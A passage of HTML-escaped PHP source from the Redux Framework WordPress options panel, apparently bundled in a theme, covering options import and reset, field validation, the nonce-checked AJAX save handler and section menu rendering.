                    $this-&gt;transients[&#039;last_save_mode&#039;] = &quot;import&quot;; // Last save mode
                    $this-&gt;transients[&#039;last_compiler&#039;]  = $time;
                    $this-&gt;transients[&#039;last_import&#039;]    = $time;
                    $this-&gt;transients[&#039;run_compiler&#039;]   = 1;

                    if ( $plugin_options[&#039;import_code&#039;] != &#039;&#039; ) {
                        $import = $plugin_options[&#039;import_code&#039;];
                    } elseif ( $plugin_options[&#039;import_link&#039;] != &#039;&#039; ) {
                        $import = wp_remote_retrieve_body( wp_remote_get( $plugin_options[&#039;import_link&#039;] ) );
                    }

                    if ( ! empty ( $import ) ) {
                        $imported_options = json_decode( $import, true );
                    }

                    if ( ! empty ( $imported_options ) &amp;&amp; is_array( $imported_options ) &amp;&amp; isset ( $imported_options[&#039;redux-backup&#039;] ) &amp;&amp; $imported_options[&#039;redux-backup&#039;] == &#039;1&#039; ) {

                        $this-&gt;transients[&#039;changed_values&#039;] = array();
                        foreach ( $plugin_options as $key =&gt; $value ) {
                            if ( isset ( $imported_options[ $key ] ) &amp;&amp; $imported_options[ $key ] != $value ) {
                                $this-&gt;transients[&#039;changed_values&#039;][ $key ] = $value;
                                $plugin_options[ $key ]                     = $value;
                            }
                        }

                        /**
                         * action &#039;redux/options/{opt_name}/import&#039;
                         *
                         * @param  &amp;array [&amp;$plugin_options, redux_options]
                         */
                        do_action_ref_array( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/import&quot;, array(
                            &amp;$plugin_options,
                            $imported_options,
                            $this-&gt;transients[&#039;changed_values&#039;]
                        ) );

                        setcookie( &#039;redux_current_tab&#039;, &#039;&#039;, 1, &#039;/&#039;, $time + 1000, &quot;/&quot; );
                        $_COOKIE[&#039;redux_current_tab&#039;] = 1;

                        unset ( $plugin_options[&#039;defaults&#039;], $plugin_options[&#039;compiler&#039;], $plugin_options[&#039;import&#039;], $plugin_options[&#039;import_code&#039;] );
                        if ( $this-&gt;args[&#039;database&#039;] == &#039;transient&#039; || $this-&gt;args[&#039;database&#039;] == &#039;theme_mods&#039; || $this-&gt;args[&#039;database&#039;] == &#039;theme_mods_expanded&#039; || $this-&gt;args[&#039;database&#039;] == &#039;network&#039; ) {
                            $this-&gt;set_options( $plugin_options );

                            return;
                        }

                        $plugin_options = wp_parse_args( $imported_options, $plugin_options );

                        $this-&gt;set_transients(); // Update the transients

                        return $plugin_options;
                    }
                }

                // Reset all to defaults
                if ( ! empty ( $plugin_options[&#039;defaults&#039;] ) ) {
                    if ( empty ( $this-&gt;options_defaults ) ) {
                        $this-&gt;options_defaults = $this-&gt;_default_values();
                    }

                    /**
                     * apply_filters &#039;redux/validate/{opt_name}/defaults&#039;
                     *
                     * @param  &amp;array [ $this-&gt;options_defaults, $plugin_options]
                     */
                    $plugin_options = apply_filters( &quot;redux/validate/{$this-&gt;args[&#039;opt_name&#039;]}/defaults&quot;, $this-&gt;options_defaults );

                    $this-&gt;transients[&#039;changed_values&#039;] = array();

                    if ( empty ( $this-&gt;options ) ) {
                        $this-&gt;options = $this-&gt;options_defaults;
                    }

                    foreach ( $this-&gt;options as $key =&gt; $value ) {
                        if ( isset ( $plugin_options[ $key ] ) &amp;&amp; $value != $plugin_options[ $key ] ) {
                            $this-&gt;transients[&#039;changed_values&#039;][ $key ] = $value;
                        }
                    }

                    $this-&gt;transients[&#039;run_compiler&#039;]   = 1;
                    $this-&gt;transients[&#039;last_save_mode&#039;] = &quot;defaults&quot;; // Last save mode
                    //setcookie(&#039;redux-compiler-&#039; . $this-&gt;args[&#039;opt_name&#039;], 1, time() + 1000, &quot;/&quot;);
                    //setcookie(&quot;redux-saved-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, &#039;defaults&#039;, time() + 1000, &quot;/&quot;);

                    $this-&gt;set_transients(); // Update the transients

                    return $plugin_options;
                }

                // Section reset to defaults
                if ( ! empty ( $plugin_options[&#039;defaults-section&#039;] ) ) {
                    if ( isset ( $plugin_options[&#039;redux-section&#039;] ) &amp;&amp; isset ( $this-&gt;sections[ $plugin_options[&#039;redux-section&#039;] ][&#039;fields&#039;] ) ) {
                        /**
                         * apply_filters &#039;redux/validate/{opt_name}/defaults_section&#039;
                         *
                         * @param  &amp;array [ $this-&gt;options_defaults, $plugin_options]
                         */
                        foreach ( $this-&gt;sections[ $plugin_options[&#039;redux-section&#039;] ][&#039;fields&#039;] as $field ) {
                            if ( isset ( $this-&gt;options_defaults[ $field[&#039;id&#039;] ] ) ) {
                                $plugin_options[ $field[&#039;id&#039;] ] = $this-&gt;options_defaults[ $field[&#039;id&#039;] ];
                            } else {
                                $plugin_options[ $field[&#039;id&#039;] ] = &quot;&quot;;
                            }

                            if ( isset ( $field[&#039;compiler&#039;] ) ) {
                                $compiler = true;
                            }
                        }

                        $plugin_options = apply_filters( &quot;redux/validate/{$this-&gt;args[&#039;opt_name&#039;]}/defaults_section&quot;, $plugin_options );
                    }

                    $this-&gt;transients[&#039;changed_values&#039;] = array();
                    foreach ( $this-&gt;options as $key =&gt; $value ) {
                        if ( isset ( $plugin_options[ $key ] ) &amp;&amp; $value != $plugin_options[ $key ] ) {
                            $this-&gt;transients[&#039;changed_values&#039;][ $key ] = $value;
                        }
                    }

                    if ( isset ( $compiler ) ) {
                        //$this-&gt;run_compiler = true;
                        //setcookie(&#039;redux-compiler-&#039; . $this-&gt;args[&#039;opt_name&#039;], 1, time()+1000, &#039;/&#039;);
                        //$plugin_options[&#039;REDUX_COMPILER&#039;] = time();
                        $this-&gt;transients[&#039;last_compiler&#039;] = $time;
                        $this-&gt;transients[&#039;run_compiler&#039;]  = 1;
                    }

                    $this-&gt;transients[&#039;last_save_mode&#039;] = &quot;defaults_section&quot;; // Last save mode
                    //setcookie(&quot;redux-saved-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, &#039;defaults_section&#039;, time() + 1000, &quot;/&quot;);
                    unset ( $plugin_options[&#039;defaults&#039;], $plugin_options[&#039;defaults_section&#039;], $plugin_options[&#039;import&#039;], $plugin_options[&#039;import_code&#039;], $plugin_options[&#039;import_link&#039;], $plugin_options[&#039;compiler&#039;], $plugin_options[&#039;redux-section&#039;] );

                    $this-&gt;set_transients();

                    return $plugin_options;
                }

                //                if ($this-&gt;transients[&#039;last_save_mode&#039;] != &#039;remove&#039;) {
                $this-&gt;transients[&#039;last_save_mode&#039;] = &quot;normal&quot;; // Last save mode
                //               } else {
                //                    $this-&gt;transients[&#039;last_save_mode&#039;] = &#039;&#039;;
                //                }

                /**
                 * apply_filters &#039;redux/validate/{opt_name}/before_validation&#039;
                 *
                 * @param  &amp;array [&amp;$plugin_options, redux_options]
                 */
                $plugin_options = apply_filters( &quot;redux/validate/{$this-&gt;args[&#039;opt_name&#039;]}/before_validation&quot;, $plugin_options, $this-&gt;options );

                // Validate fields (if needed)
                $plugin_options = $this-&gt;_validate_values( $plugin_options, $this-&gt;options, $this-&gt;sections );

                if ( ! empty ( $this-&gt;errors ) || ! empty ( $this-&gt;warnings ) ) {
                    $this-&gt;transients[&#039;notices&#039;] = array( &#039;errors&#039; =&gt; $this-&gt;errors, &#039;warnings&#039; =&gt; $this-&gt;warnings );
                }

                /**
                 * action &#039;redux-validate-{opt_name}&#039;
                 *
                 * @deprecated
                 *
                 * @param  &amp;array [&amp;$plugin_options, redux_options]
                 */
                do_action_ref_array( &quot;redux-validate-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, array(
                    &amp;$plugin_options,
                    $this-&gt;options
                ) ); // REMOVE

                if ( ! isset ( $this-&gt;transients[&#039;changed_values&#039;] ) ) {
                    $this-&gt;transients[&#039;changed_values&#039;] = array();
                }

                /**
                 * action &#039;redux/options/{opt_name}/validate&#039;
                 *
                 * @param  &amp;array [&amp;$plugin_options, redux_options]
                 */
                do_action_ref_array( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/validate&quot;, array(
                    &amp;$plugin_options,
                    $this-&gt;options,
                    $this-&gt;transients[&#039;changed_values&#039;]
                ) );

                if ( ! empty ( $plugin_options[&#039;compiler&#039;] ) ) {
                    unset ( $plugin_options[&#039;compiler&#039;] );

                    $this-&gt;transients[&#039;last_compiler&#039;] = $time;
                    $this-&gt;transients[&#039;run_compiler&#039;]  = 1;
                }

                $this-&gt;transients[&#039;changed_values&#039;] = array(); // Changed values since last save
                if ( !empty( $this-&gt;options ) ) {
                    foreach ( $this-&gt;options as $key =&gt; $value ) {
                        if ( isset ( $plugin_options[ $key ] ) &amp;&amp; $value != $plugin_options[ $key ] ) {
                            $this-&gt;transients[&#039;changed_values&#039;][ $key ] = $value;
                        }
                    }
                }

                unset ( $plugin_options[&#039;defaults&#039;], $plugin_options[&#039;defaults_section&#039;], $plugin_options[&#039;import&#039;], $plugin_options[&#039;import_code&#039;], $plugin_options[&#039;import_link&#039;], $plugin_options[&#039;compiler&#039;], $plugin_options[&#039;redux-section&#039;] );
                if ( $this-&gt;args[&#039;database&#039;] == &#039;transient&#039; || $this-&gt;args[&#039;database&#039;] == &#039;theme_mods&#039; || $this-&gt;args[&#039;database&#039;] == &#039;theme_mods_expanded&#039; ) {
                    $this-&gt;set_options( $plugin_options );

                    return;
                }

                if ( defined( &#039;WP_CACHE&#039; ) &amp;&amp; WP_CACHE &amp;&amp; class_exists( &#039;W3_ObjectCache&#039; ) &amp;&amp; function_exists( &#039;w3_instance&#039; ) ) {
                    //echo &quot;here&quot;;
                    $w3_inst = w3_instance( &#039;W3_ObjectCache&#039; );
                    $w3      = $w3_inst-&gt;instance();
                    $key     = $w3-&gt;_get_cache_key( $this-&gt;args[&#039;opt_name&#039;] . &#039;-transients&#039;, &#039;transient&#039; );
                    /* nectar addition */
                    /* removed unused echo */
                    /* nectar addition end */
                    $w3-&gt;delete( $key, &#039;transient&#039;, true );
                    //set_transient($this-&gt;args[&#039;opt_name&#039;].&#039;-transients&#039;, $this-&gt;transients);
                    //exit();
                }

                $this-&gt;set_transients( $this-&gt;transients );

                return $plugin_options;
            }

            public function ajax_save() {
                if ( ! wp_verify_nonce( $_REQUEST[&#039;nonce&#039;], &quot;redux_ajax_nonce&quot; . $this-&gt;args[&#039;opt_name&#039;] ) ) {
                    echo json_encode( array(
                        &#039;status&#039; =&gt; __( &#039;Invalid security credential.  Please reload the page and try again.&#039;, &#039;redux-framework&#039; ),
                        &#039;action&#039; =&gt; &#039;&#039;
                    ) );

                    die();
                }

                if ( ! self::current_user_can( $this-&gt;args[&#039;page_permissions&#039;] ) ) {
                    echo json_encode( array(
                        &#039;status&#039; =&gt; __( &#039;Invalid user capability.  Please reload the page and try again.&#039;, &#039;redux-framework&#039; ),
                        &#039;action&#039; =&gt; &#039;&#039;
                    ) );

                    die();
                }

                $redux = ReduxFrameworkInstances::get_instance( $_POST[&#039;opt_name&#039;] );

                if ( ! empty ( $_POST[&#039;data&#039;] ) &amp;&amp; ! empty ( $redux-&gt;args[&#039;opt_name&#039;] ) ) {

                    $values = array();
                    //if (function_exists(&#039;get_magic_quotes_gpc&#039;) &amp;&amp; get_magic_quotes_gpc()) {
                    //    $process = array(&amp;$_GET, &amp;$_POST, &amp;$_COOKIE, &amp;$_REQUEST);
                    //    while (list($key, $val) = each($process)) {
                    //        foreach ($val as $k =&gt; $v) {
                    //            unset($process[$key][$k]);
                    //            if (is_array($v)) {
                    //                $process[$key][stripslashes($k)] = $v;
                    //                $process[] = &amp;$process[$key][stripslashes($k)];
                    //            } else {
                    //                $process[$key][stripslashes($k)] = stripslashes($v);
                    //            }
                    //        }
                    //    }
                    //    unset($process);
                    //}
                    $_POST[&#039;data&#039;] = stripslashes( $_POST[&#039;data&#039;] );

                    // Old method of saving, in case we need to go back! - kp
                    //parse_str( $_POST[&#039;data&#039;], $values );

                    // New method to avoid input_var nonesense.  Thanks @harunbasic
                    $values = $this-&gt;redux_parse_str( $_POST[&#039;data&#039;] );

                    $values = $values[ $redux-&gt;args[&#039;opt_name&#039;] ];

                    if ( function_exists(&#039;phpversion&#039;) &amp;&amp;
                         version_compare(phpversion(), &#039;6.0.0&#039;, &#039;&lt;&#039;) &amp;&amp;
                         function_exists( &#039;get_magic_quotes_gpc&#039; ) &amp;&amp;
                         get_magic_quotes_gpc() ) {
                        $values = array_map( &#039;stripslashes_deep&#039;, $values );
                    }


                    if ( ! empty ( $values ) ) {

                        try {
                            if ( isset ( $redux-&gt;validation_ran ) ) {
                                unset ( $redux-&gt;validation_ran );
                            }
                            $redux-&gt;set_options( $redux-&gt;_validate_options( $values ) );

                            $do_reload = false;
                            if ( isset( $this-&gt;reload_fields ) &amp;&amp; ! empty( $this-&gt;reload_fields ) ) {
                                if ( ! empty( $this-&gt;transients[&#039;changed_values&#039;] ) ) {
                                    foreach ( $this-&gt;reload_fields as $idx =&gt; $val ) {
                                        if ( array_key_exists( $val, $this-&gt;transients[&#039;changed_values&#039;] ) ) {
                                            $do_reload = true;
                                        }
                                    }
                                }
                            }

                            if ( $do_reload || ( isset ( $values[&#039;defaults&#039;] ) &amp;&amp; ! empty ( $values[&#039;defaults&#039;] ) ) || ( isset ( $values[&#039;defaults-section&#039;] ) &amp;&amp; ! empty ( $values[&#039;defaults-section&#039;] ) ) ) {
                                echo json_encode( array( &#039;status&#039; =&gt; &#039;success&#039;, &#039;action&#039; =&gt; &#039;reload&#039; ) );
                                die ();
                            }

                            require_once &#039;core/enqueue.php&#039;;
                            $enqueue = new reduxCoreEnqueue ( $redux );
                            $enqueue-&gt;get_warnings_and_errors_array();

                            $return_array = array(
                                &#039;status&#039;   =&gt; &#039;success&#039;,
                                &#039;options&#039;  =&gt; $redux-&gt;options,
                                &#039;errors&#039;   =&gt; isset ( $redux-&gt;localize_data[&#039;errors&#039;] ) ? $redux-&gt;localize_data[&#039;errors&#039;] : null,
                                &#039;warnings&#039; =&gt; isset ( $redux-&gt;localize_data[&#039;warnings&#039;] ) ? $redux-&gt;localize_data[&#039;warnings&#039;] : null,
                            );

                        } catch ( Exception $e ) {
                            $return_array = array( &#039;status&#039; =&gt; $e-&gt;getMessage() );
                        }
                    } else {
                        echo json_encode( array( &#039;status&#039; =&gt; __( &#039;Your panel has no fields. Nothing to save.&#039;, &#039;redux-framework&#039; ) ) );
                    }
                }
                if ( isset ( $this-&gt;transients[&#039;run_compiler&#039;] ) &amp;&amp; $this-&gt;transients[&#039;run_compiler&#039;] ) {

                    $this-&gt;no_output = true;
                    $this-&gt;_enqueue_output();

                    try {
                        /**
                         * action &#039;redux-compiler-{opt_name}&#039;
                         *
                         * @deprecated
                         *
                         * @param array  options
                         * @param string CSS that get sent to the compiler hook
                         */
                        do_action( &quot;redux-compiler-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $this-&gt;options, $this-&gt;compilerCSS, $this-&gt;transients[&#039;changed_values&#039;] ); // REMOVE

                        /**
                         * action &#039;redux/options/{opt_name}/compiler&#039;
                         *
                         * @param array  options
                         * @param string CSS that get sent to the compiler hook
                         */
                        do_action( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/compiler&quot;, $this-&gt;options, $this-&gt;compilerCSS, $this-&gt;transients[&#039;changed_values&#039;] );

                        /**
                         * action &#039;redux/options/{opt_name}/compiler/advanced&#039;
                         *
                         * @param array  options
                         * @param string CSS that get sent to the compiler hook, which sends the full Redux object
                         */
                        do_action( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/compiler/advanced&quot;, $this );
                    } catch ( Exception $e ) {
                        $return_array = array( &#039;status&#039; =&gt; $e-&gt;getMessage() );
                    }

                    unset ( $this-&gt;transients[&#039;run_compiler&#039;] );
                    $this-&gt;set_transients();
                }
                if ( isset( $return_array ) ) {
                    if ( $return_array[&#039;status&#039;] == &quot;success&quot; ) {
                        require_once &#039;core/panel.php&#039;;
                        $panel = new reduxCorePanel ( $redux );
                        ob_start();
                        $panel-&gt;notification_bar();
                        $notification_bar = ob_get_contents();
                        ob_end_clean();
                        $return_array[&#039;notification_bar&#039;] = $notification_bar;
                    }

                    echo json_encode( apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/ajax_save/response&quot;, $return_array ) );
                }

                die ();

            }

            /**
             * Validate values from options form (used in settings api validate function)
             * calls the custom validation class for the field so authors can override with custom classes
             *
             * @since       1.0.0
             * @access      public
             *
             * @param       array $plugin_options
             * @param       array $options
             *
             * @return      array $plugin_options
             */
            public function _validate_values( $plugin_options, $options, $sections ) {
                foreach ( $sections as $k =&gt; $section ) {
                    if ( isset ( $section[&#039;fields&#039;] ) ) {
                        foreach ( $section[&#039;fields&#039;] as $fkey =&gt; $field ) {

                            if ( is_array( $field ) ) {
                                $field[&#039;section_id&#039;] = $k;
                            }

                            if ( isset ( $field[&#039;type&#039;] ) &amp;&amp; ( $field[&#039;type&#039;] == &#039;checkbox&#039; || $field[&#039;type&#039;] == &#039;checkbox_hide_below&#039; || $field[&#039;type&#039;] == &#039;checkbox_hide_all&#039; ) ) {
                                if ( ! isset ( $plugin_options[ $field[&#039;id&#039;] ] ) ) {
                                    $plugin_options[ $field[&#039;id&#039;] ] = 0;
                                }
                            }

//                            if ( isset ( $field[&#039;type&#039;] ) &amp;&amp; $field[&#039;type&#039;] == &#039;typography&#039; ) {
//                                if ( ! is_array( $plugin_options[ $field[&#039;id&#039;] ] ) &amp;&amp; ! empty( $plugin_options[ $field[&#039;id&#039;] ] ) ) {
//                                    $plugin_options[ $field[&#039;id&#039;] ] = json_decode( $plugin_options[ $field[&#039;id&#039;] ], true );
//                                }
//                            }

                            if ( isset( $this-&gt;extensions[ $field[&#039;type&#039;] ] ) &amp;&amp; method_exists( $this-&gt;extensions[ $field[&#039;type&#039;] ], &#039;_validate_values&#039; ) ) {
                                $plugin_options = $this-&gt;extensions[ $field[&#039;type&#039;] ]-&gt;_validate_values( $plugin_options, $field, $sections );

                            }

                            // Default &#039;not_empty &#039;flag to false.
                            $isNotEmpty = false;

                            // Make sure &#039;validate&#039; field is set.
                            if ( isset ( $field[&#039;validate&#039;] ) ) {

                                // Make sure &#039;validate field&#039; is set to &#039;not_empty&#039; or &#039;email_not_empty&#039;
                                //if ( $field[&#039;validate&#039;] == &#039;not_empty&#039; || $field[&#039;validate&#039;] == &#039;email_not_empty&#039; || $field[&#039;validate&#039;] == &#039;numeric_not_empty&#039; ) {
                                if ( strtolower( substr( $field[&#039;validate&#039;], - 9 ) ) == &#039;not_empty&#039; ) {

                                    // Set the flag.
                                    $isNotEmpty = true;
                                }
                            }

                            // Check for empty id value

                            if ( ! isset ( $field[&#039;id&#039;] ) || ! isset ( $plugin_options[ $field[&#039;id&#039;] ] ) || ( isset ( $plugin_options[ $field[&#039;id&#039;] ] ) &amp;&amp; $plugin_options[ $field[&#039;id&#039;] ] == &#039;&#039; ) ) {

                                // If we are looking for an empty value, in the case of &#039;not_empty&#039;
                                // then we need to keep processing.
                                if ( ! $isNotEmpty ) {

                                    // Empty id and not checking for &#039;not_empty.  Bail out...
                                    if (!isset($field[&#039;validate_callback&#039;])) {
                                        continue;
                                    }
                                    //continue;
                                }
                            }

                            // Force validate of custom field types
                            if ( isset ( $field[&#039;type&#039;] ) &amp;&amp; ! isset ( $field[&#039;validate&#039;] ) &amp;&amp; ! isset( $field[&#039;validate_callback&#039;] ) ) {
                                if ( $field[&#039;type&#039;] == &#039;color&#039; || $field[&#039;type&#039;] == &#039;color_gradient&#039; ) {
                                    $field[&#039;validate&#039;] = &#039;color&#039;;
                                } elseif ( $field[&#039;type&#039;] == &#039;date&#039; ) {
                                    $field[&#039;validate&#039;] = &#039;date&#039;;
                                }
                            }

                            if ( isset ( $field[&#039;validate&#039;] ) ) {
                                $validate = &#039;Redux_Validation_&#039; . $field[&#039;validate&#039;];

                                if ( ! class_exists( $validate ) ) {
                                    /**
                                     * filter &#039;redux-validateclass-load&#039;
                                     *
                                     * @deprecated
                                     *
                                     * @param        string             validation class file path
                                     * @param string $validate          validation class name
                                     */
                                    $class_file = apply_filters( &quot;redux-validateclass-load&quot;, self::$_dir . &quot;inc/validation/{$field[&#039;validate&#039;]}/validation_{$field[&#039;validate&#039;]}.php&quot;, $validate ); // REMOVE LATER

                                    /**
                                     * filter &#039;redux/validate/{opt_name}/class/{field.validate}&#039;
                                     *
                                     * @param        string                validation class file path
                                     * @param string $class_file           validation class file path
                                     */
                                    $class_file = apply_filters( &quot;redux/validate/{$this-&gt;args[&#039;opt_name&#039;]}/class/{$field[&#039;validate&#039;]}&quot;, self::$_dir . &quot;inc/validation/{$field[&#039;validate&#039;]}/validation_{$field[&#039;validate&#039;]}.php&quot;, $class_file );

                                    if ( $class_file ) {
                                        if ( file_exists( $class_file ) ) {
                                            require_once $class_file;
                                        }
                                    }
                                }

                                if ( class_exists( $validate ) ) {

                                    //!DOVY - DB saving stuff. Is this right?
                                    if ( empty ( $options[ $field[&#039;id&#039;] ] ) ) {
                                        $options[ $field[&#039;id&#039;] ] = &#039;&#039;;
                                    }

                                    if ( isset ( $plugin_options[ $field[&#039;id&#039;] ] ) &amp;&amp; is_array( $plugin_options[ $field[&#039;id&#039;] ] ) &amp;&amp; ! empty ( $plugin_options[ $field[&#039;id&#039;] ] ) ) {
                                        foreach ( $plugin_options[ $field[&#039;id&#039;] ] as $key =&gt; $value ) {
                                            $before = $after = null;
                                            if ( isset ( $plugin_options[ $field[&#039;id&#039;] ][ $key ] ) &amp;&amp; ( ! empty ( $plugin_options[ $field[&#039;id&#039;] ][ $key ] ) || $plugin_options[ $field[&#039;id&#039;] ][ $key ] == &#039;0&#039; ) ) {
                                                if ( is_array( $plugin_options[ $field[&#039;id&#039;] ][ $key ] ) ) {
                                                    $before = $plugin_options[ $field[&#039;id&#039;] ][ $key ];
                                                } else {
                                                    $before = trim( $plugin_options[ $field[&#039;id&#039;] ][ $key ] );
                                                }
                                            }

                                            if ( isset ( $options[ $field[&#039;id&#039;] ][ $key ] ) &amp;&amp; ( ! empty ( $plugin_options[ $field[&#039;id&#039;] ][ $key ] ) || $plugin_options[ $field[&#039;id&#039;] ][ $key ] == &#039;0&#039; ) ) {
                                                $after = $options[ $field[&#039;id&#039;] ][ $key ];
                                            }

                                            $validation = new $validate ( $this, $field, $before, $after );
                                            if ( ! empty ( $validation-&gt;value ) || $validation-&gt;value == &#039;0&#039; ) {
                                                $plugin_options[ $field[&#039;id&#039;] ][ $key ] = $validation-&gt;value;
                                            } else {
                                                unset ( $plugin_options[ $field[&#039;id&#039;] ][ $key ] );
                                            }

                                            if ( isset ( $validation-&gt;error ) ) {
                                                $this-&gt;errors[] = $validation-&gt;error;
                                            }

                                            if ( isset ( $validation-&gt;warning ) ) {
                                                $this-&gt;warnings[] = $validation-&gt;warning;
                                            }
                                        }
                                    } else {
                                        if ( isset( $plugin_options[ $field[&#039;id&#039;] ] ) ) {
                                            if ( is_array( $plugin_options[ $field[&#039;id&#039;] ] ) ) {
                                                $pofi = $plugin_options[ $field[&#039;id&#039;] ];
                                            } else {
                                                $pofi = trim( $plugin_options[ $field[&#039;id&#039;] ] );
                                            }
                                        } else {
                                            $pofi = null;
                                        }

                                        $validation                     = new $validate ( $this, $field, $pofi, $options[ $field[&#039;id&#039;] ] );
                                        $plugin_options[ $field[&#039;id&#039;] ] = $validation-&gt;value;

                                        if ( isset ( $validation-&gt;error ) ) {
                                            $this-&gt;errors[] = $validation-&gt;error;
                                        }

                                        if ( isset ( $validation-&gt;warning ) ) {
                                            $this-&gt;warnings[] = $validation-&gt;warning;
                                        }
                                    }

                                    continue;
                                }
                            }
                            if ( isset ( $field[&#039;validate_callback&#039;] ) &amp;&amp; ( is_callable( $field[&#039;validate_callback&#039;] ) || ( is_string( $field[&#039;validate_callback&#039;] ) &amp;&amp; function_exists( $field[&#039;validate_callback&#039;] ) ) ) ) {
                                $callback = $field[&#039;validate_callback&#039;];
                                unset ( $field[&#039;validate_callback&#039;] );

                                $plugin_option                  = isset( $plugin_options[ $field[&#039;id&#039;] ] ) ? $plugin_options[ $field[&#039;id&#039;] ] : null;
                                $option                         = isset( $options[ $field[&#039;id&#039;] ] )        ? $options[ $field[&#039;id&#039;] ]        : null;
                                $callbackvalues                 = call_user_func( $callback, $field, $plugin_option, $option );
                                $plugin_options[ $field[&#039;id&#039;] ] = $callbackvalues[&#039;value&#039;];

                                if ( isset ( $callbackvalues[&#039;error&#039;] ) ) {
                                    $this-&gt;errors[] = $callbackvalues[&#039;error&#039;];
                                }
                                // TODO - This warning message is failing. Hmm.
                                // No it isn&#039;t.  Problem was in the sample-config - kp
                                if ( isset ( $callbackvalues[&#039;warning&#039;] ) ) {
                                    $this-&gt;warnings[] = $callbackvalues[&#039;warning&#039;];
                                }
                            }
                        }
                    }
                }

                return $plugin_options;
            }

            /**
             * Return Section Menu HTML
             *
             * @since       3.1.5
             * @access      public
             * @return      void
             */
            /* nectar addition - output instead of return */
            public function section_menu( $k, $section, $suffix = &quot;&quot;, $sections = array() ) {
                $display = true;

                $section[&#039;class&#039;] = isset ( $section[&#039;class&#039;] ) ? &#039; &#039; . $section[&#039;class&#039;] : &#039;&#039;;

                if ( isset ( $_GET[&#039;page&#039;] ) &amp;&amp; $_GET[&#039;page&#039;] == $this-&gt;args[&#039;page_slug&#039;] ) {
                    if ( isset ( $section[&#039;panel&#039;] ) &amp;&amp; $section[&#039;panel&#039;] == false ) {
                        $display = false;
                    }
                }

                if ( ! $display ) {
                    return &quot;&quot;;
                }

                if ( empty ( $sections ) ) {
                    $sections = $this-&gt;sections;
                }

                if ( ( ( isset ( $this-&gt;args[&#039;icon_type&#039;] ) &amp;&amp; $this-&gt;args[&#039;icon_type&#039;] == &#039;image&#039; ) || ( isset ( $section[&#039;icon_type&#039;] ) &amp;&amp; $section[&#039;icon_type&#039;] == &#039;image&#039; ) ) || ( isset( $section[&#039;icon&#039;] ) &amp;&amp; strpos( $section[&#039;icon&#039;], &#039;/&#039; ) !== false ) ) {
                    //if( !empty( $this-&gt;args[&#039;icon_type&#039;] ) &amp;&amp; $this-&gt;args[&#039;icon_type&#039;] == &#039;image&#039; ) {
                    $icon = ( ! isset ( $section[&#039;icon&#039;] ) ) ? &#039;&#039; : &#039;&lt;img class=&quot;image_icon_type&quot; src=&quot;&#039; . esc_url( $section[&#039;icon&#039;] ) . &#039;&quot; /&gt; &#039;;
                } else {
                    if ( ! empty ( $section[&#039;icon_class&#039;] ) ) {
                        $icon_class = &#039; &#039; . $section[&#039;icon_class&#039;];
                    } elseif ( ! empty ( $this-&gt;args[&#039;default_icon_class&#039;] ) ) {
                        $icon_class = &#039; &#039; . $this-&gt;args[&#039;default_icon_class&#039;];
                    } else {
                        $icon_class = &#039;&#039;;
                    }
                    $icon = ( ! isset ( $section[&#039;icon&#039;] ) ) ? &#039;&lt;i class=&quot;el el-cog&#039; . esc_attr( $icon_class ) . &#039;&quot;&gt;&lt;/i&gt; &#039; : &#039;&lt;i class=&quot;&#039; . esc_attr( $section[&#039;icon&#039;] ) . esc_attr( $icon_class ) . &#039;&quot;&gt;&lt;/i&gt; &#039;;
                }
                if ( strpos( $icon, &#039;el-icon-&#039; ) !== false ) {
                    $icon = str_replace( &#039;el-icon-&#039;, &#039;el el-&#039;, $icon );
                }

                $hide_section = &#039;&#039;;
                if ( isset ( $section[&#039;hidden&#039;] ) ) {
                    $hide_section = ( $section[&#039;hidden&#039;] == true ) ? &#039; hidden &#039; : &#039;&#039;;
                }

                $canBeSubSection = ( $k &gt; 0 &amp;&amp; ( ! isset ( $sections[ ( $k ) ][&#039;type&#039;] ) || $sections[ ( $k ) ][&#039;type&#039;] != &quot;divide&quot; ) ) ? true : false;

                if ( ! $canBeSubSection &amp;&amp; isset ( $section[&#039;subsection&#039;] ) &amp;&amp; $section[&#039;subsection&#039;] == true ) {
                    unset ( $section[&#039;subsection&#039;] );
                }

                if ( isset ( $section[&#039;type&#039;] ) &amp;&amp; $section[&#039;type&#039;] == &quot;divide&quot; ) {
                    echo &#039;&lt;li class=&quot;divide&#039; . esc_attr( $section[&#039;class&#039;] ) . &#039;&quot;&gt;&amp;nbsp;&lt;/li&gt;&#039;;
                } else if ( ! isset ( $section[&#039;subsection&#039;] ) || $section[&#039;subsection&#039;] != true ) {

                    // DOVY! REPLACE $k with $section[&#039;ID&#039;] when used properly.
                    //$active = ( ( is_numeric($this-&gt;current_tab) &amp;&amp; $this-&gt;current_tab == $k ) || ( !is_numeric($this-&gt;current_tab) &amp;&amp; $this-&gt;current_tab === $k )  ) ? &#039; active&#039; : &#039;&#039;;
                    $subsections      = ( isset ( $sections[ ( $k + 1 ) ] ) &amp;&amp; isset ( $sections[ ( $k + 1 ) ][&#039;subsection&#039;] ) &amp;&amp; $sections[ ( $k + 1 ) ][&#039;subsection&#039;] == true ) ? true : false;
                    $subsectionsClass = $subsections ? &#039; hasSubSections&#039; : &#039;&#039;;
                    $subsectionsClass .= ( ! isset ( $section[&#039;fields&#039;] ) || empty ( $section[&#039;fields&#039;] ) ) ? &#039; empty_section&#039; : &#039;&#039;;
                    $extra_icon = $subsections ? &#039;&lt;span class=&quot;extraIconSubsections&quot;&gt;&lt;i class=&quot;el el-chevron-down&quot;&gt;&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&#039; : &#039;&#039;;
                    //var_dump($section);
                    echo &#039;&lt;li id=&quot;&#039; . esc_attr( $k . $suffix ) . &#039;_section_group_li&quot; class=&quot;redux-group-tab-link-li&#039; . esc_attr( $hide_section ) . esc_attr( $section[&#039;class&#039;] ) . esc_attr( $subsectionsClass ) . &#039;&quot;&gt;&#039;;
